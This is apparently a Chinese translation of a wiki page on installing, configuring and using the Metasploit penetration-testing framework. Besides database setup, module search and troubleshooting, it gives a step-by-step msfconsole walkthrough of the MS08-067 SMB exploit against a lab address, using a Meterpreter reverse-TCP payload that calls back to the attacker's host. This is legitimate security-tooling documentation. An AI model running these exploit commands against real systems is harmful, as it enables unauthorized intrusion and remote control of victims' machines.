Metasploit 框架
- 请将 MSF 视为当今安全专业人员可以免费使用的最有用的审计工具之一。从各种商业级漏洞和广泛的漏洞开发环境,一直到网络信息收集工具和 Web 漏洞插件。Metasploit 框架提供了一个真正令人印象深刻的工作环境。MSF 远不止是漏洞的集合,它还是一个您可以构建和利用的基础设施,以满足您的自定义需求。这使您可以专注于您独特的环境,而无需重新发明轮子。
目前,Metasploit 需要在目标系统上设置和配置 PostgreSQL 才能工作。本 Wiki 将展示如何使 Metasploit 与 PostgreSQL 数据库一起工作。
安装
安装软件包 metasploit。 可选地按照以下 RVM 设置说明进行操作。对于最新的开发版本,请安装 metasploit-gitAUR 代替。
Armitage
Armitage 是 Metasploit 的图形用户界面前端,用 Java 编写;可以使用 armitage-gitAUR 软件包安装。
当运行 Armitage 时,#设置数据库 不是可选的,并且必须遵循。还必须使用 ~/.msf4/database.yml
文件。
Armitage 软件包中包含一个示例 database.yml
文件,路径为 /usr/share/metasploit/database.yml.sample
。
RVM
Msfconsole 需要 Ruby 和一些 Ruby#RubyGems 才能无错误运行。
按照 RVM#安装 和 RVM#使用 RVM 文章安装和使用 Ruby 3.1.5 版本(参见 Metasploit Git 仓库)并将其设置为默认。
完成后,source 新创建的 RVM 安装
$ source ~/.rvm/scripts/rvm
现在 cd 进入 /opt/metasploit
并使用 Ruby#Bundler 安装运行 Msfconsole 所需的所有 gems
$ gem install bundler $ bundle install
metasploit-concern
gem。设置数据库
msfconsole
运行的命令在本文章中将以 msf >
为前缀。Metasploit 可以在没有数据库的情况下使用,但像搜索这样的缓存操作会非常慢。本节介绍如何使用 Postgresql 数据库服务器设置 Metasploit。
按照 PostgreSQL 文章设置/启动服务。服务启动并运行后,运行
msfdb init --connection-string=postgresql://postgres@localhost:5432/postgres
数据库现在应该已正确初始化,并且在运行 msfconsole
时应自动建立连接。
msfconsole
将显示 [*] 在后台重建模块缓存...
,但实际上它只会更新更改。如果数据库没有更改,则只需半秒钟。运行 db_status
以验证数据库连接是否正确建立
msf > db_status
[*] postgresql connected to msf
用法
Metasploit 有多个可用的界面。本节将解释如何使用 msfconsole
,该界面提供 MSF 中可用的大多数功能。
要启动它,只需键入 msfconsole
。提示符将更改为 msf >
,以指示它正在等待命令。
$PATH
中找到的所有常规 shell 命令和脚本也可用!(别名除外)模块类型
Metasploit 中的所有内容(脚本、文件、程序等)都是模块。共有 6 种模块类型
auxiliary
- 用于帮助攻击者执行各种任务的模块,例如 端口扫描、版本检测或网络流量分析exploit
- 利用漏洞并允许执行 payload 的代码,例如触发缓冲区溢出或绕过身份验证payload
- 在成功利用漏洞后必须执行的操作,例如建立远程连接、启动 meterpreter 会话或执行一些 shell 命令post
- 成功利用漏洞和远程连接后可以运行的各种程序,例如收集密码、设置键盘记录器或下载文件encoder
- 用于执行加密的程序nop
- NOP 生成器。NOP 是一种汇编语言指令,它只是什么也不做。此指令的机器代码在每个硬件架构上都不同。NOP 指令对于填充可执行文件中的空白很有用。
搜索漏洞
要发现目标运行的操作系统和软件版本,请执行 端口扫描。 有了这些信息,请使用 search
命令搜索可用的漏洞。
要搜索 Linux 平台上所有针对 Novell 的漏洞
msf > search platform:linux type:exploit name:Novell
要搜索 Linux 平台上包含关键字 Apache 的所有漏洞,并使用 grep 过滤结果
msf > grep RCE search platform:linux type:exploit Apache
要搜索特定字段,请键入其名称,后跟列和短语。以下搜索字段可用
搜索字段 | 匹配项 | 可能的值 | 数据库表 & 列 |
---|---|---|---|
app
|
被动(客户端)或主动(服务器)漏洞 | client , server |
module_details.stance
|
author
|
模块作者的姓名和电子邮件 | 任何短语 | module_authors.name
|
type
|
模块类型 | auxiliary , exploit , payload , post , encoder , nop |
module_details.mtype
|
name
|
路径(名称)和简短描述 | 任何短语 | module_details.fullname , module_details.name |
platform
|
目标硬件或软件平台 | bsdi , netware , linux , hpux , irix , osx , bsd , platform , java , javascript , unix , php , firefox , nodejs , ruby , cisco , android , aix , windows , python , solaris |
module_platforms.name
|
bid , cve , edb , osvdb 或 ref |
Bugtraq[死链 2023-05-07 ⓘ], CVE, Exploit-DB, OSBDB ID 或任何 | 漏洞数据库条目 ID 或上游报告 URL 的一部分 | module_refs.name
|
(无字段) | 上述所有字段,除了 app 和 type |
任何短语 | 上述所有字段 |
有关更高级的搜索查询,请参见 #从数据库搜索 和 #数据库搜索示例。
使用漏洞
选择合适的漏洞后,就该开始黑客攻击了!
首先,使用 use
命令选择一个漏洞
msf > use exploit/windows/smb/ms08_067_netapi
ms08_067_netapi
是影响 Windows XP 和 Windows Server 2003 SMB 服务的最流行的漏洞之一。它于 2008 年披露,并被证明在利用禁用防火墙的未修补系统方面非常可靠。要查看有关模块的信息,请使用 info
命令
msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi
不带参数运行 info
将显示有关当前所选模块的信息。
要查看所选漏洞的选项,请运行
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) ...
在利用漏洞之前,必须提供所有必填字段。在这里,只需要指定 RHOST
变量。要为变量赋值,请使用 set
命令
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
现在选择 payload
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
选择 payload(实际上,通常选择模块)将添加更多选项。再次运行 show options
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.56.102 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port
现在将 LHOST
变量分配给您的计算机地址,被利用的计算机将向该地址发送连接请求
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1
现在启动攻击!
msf exploit(ms08_067_netapi) > exploit
如果幸运的话,您将被放入 Meterpreter 会话,您可以在远程计算机上执行任何操作。
技巧与窍门
从数据库搜索
由于 Metasploit 中的所有内容都存储在数据库中,因此无需 search
前端命令即可轻松进行强大的搜索查询。
要启动数据库界面,请运行
$ psql msf
有关模块的信息存储在 8 个表中
表名 | 目录 |
---|---|
module_details
|
“主”表,描述每个模块的各种详细信息 |
module_actions
|
auxiliary 模块的操作名称 |
module_archs
|
目标硬件架构或软件平台 |
module_authors
|
模块作者的姓名和电子邮件 |
module_mixins
|
空 (???) |
module_platforms
|
目标操作系统。另请参见 #按漏洞数量统计的平台受欢迎程度 |
module_refs
|
各种在线漏洞数据库和报告的参考 |
module_targets
|
exploit 的目标程序名称和版本 |
\d+ 表名
。例如:\d+ module_details
。几乎所有表都有 3 列:id
、detail_id
和 name
,除了 module_details
表有 16 列。
detail_id
值是指向 module_details
表行的指针。
要查看表的所有内容,请运行
SELECT * FROM table_name;
多个
- 架构
- 平台
- 目标
模块选项
- 模块类型
- 立场
- 特权
- 路径
- name
- 引用名
- 等级
- 特权
- 披露日期
数据库搜索示例
module_details
表包含多列,一次查看所有列不方便。要仅显示有关模块的基本信息
SELECT id, mtype, refname, disclosure_date, rank, stance, name FROM module_details;
显示有关可用模块的一些信息,包括来自 module_platforms
的平台信息
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id;
显示 Windows 平台的所有客户端(主动)漏洞
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND stance = 'aggressive';
显示 Windows 平台上 rank >= 500 且在 2013 年之后披露的所有漏洞
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND rank >= 500 AND disclosure_date >= TIMESTAMP '2013-1-1';
显示 Windows 平台上 rank >= 500 的所有主动(客户端)漏洞,并包含有关模块目标的附加信息
SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id JOIN module_targets on module_details.id = module_targets.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND stance = 'aggressive' AND rank >= 500 order by target;
按漏洞数量统计的平台受欢迎程度
要查看可能的 platform
值和可用漏洞的数量,请从 psql
运行
SELECT name, count(*) FROM module_platforms GROUP BY name ORDER BY count DESC;
启动时禁用 ASCII 横幅
要禁用横幅,请使用 -q
/--quiet
参数运行 msfconsole
$ msfconsole --quiet
在会话之间保留变量值
如果您不希望在选择另一个模块和重新运行 msfconsole
时变量重置,则通过 setg
全局设置它,例如
msf > setg RHOST 192.168.56.102
故障排除
无法在 VNC 查看器中点击
如果您选择 VNC 查看器作为 payload,但无法点击或执行任何操作,则意味着您忘记将 ViewOnly
变量设置为 false。要解决此问题,请重新运行漏洞利用程序,并将变量设置为 false
msf > set ViewOnly false
无法加载此类文件 -- robots (LoadError)
如果您收到如下错误
~/metasploit-framework/lib/metasploit/framework.rb:19:in `require': cannot load such file -- robots (LoadError) from ~/metasploit-framework/lib/metasploit/framework.rb:19:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require' from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `const_get' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `block in constantize' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `each' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `constantize' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/core_ext/string/inflections.rb:54:in `constantize' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start' from ./msfconsole:48:in `<main>'
发生这种情况是因为文件 robots.rb
的权限不正确,并且只能由 root 用户读取(请参阅 错误报告)
$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib
total 4 -rw-r----- 1 root root 3174 Oct 19 16:47 robots.rb
要解决此问题,只需将权限更改为世界可读
# chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb
db_connect 静默失败
如果在运行 db_connect
时看不到任何输出,但稍后收到类似这样的消息
[!] Database not connected or cache not built, using slow search
这可能意味着 postgresql
服务未运行。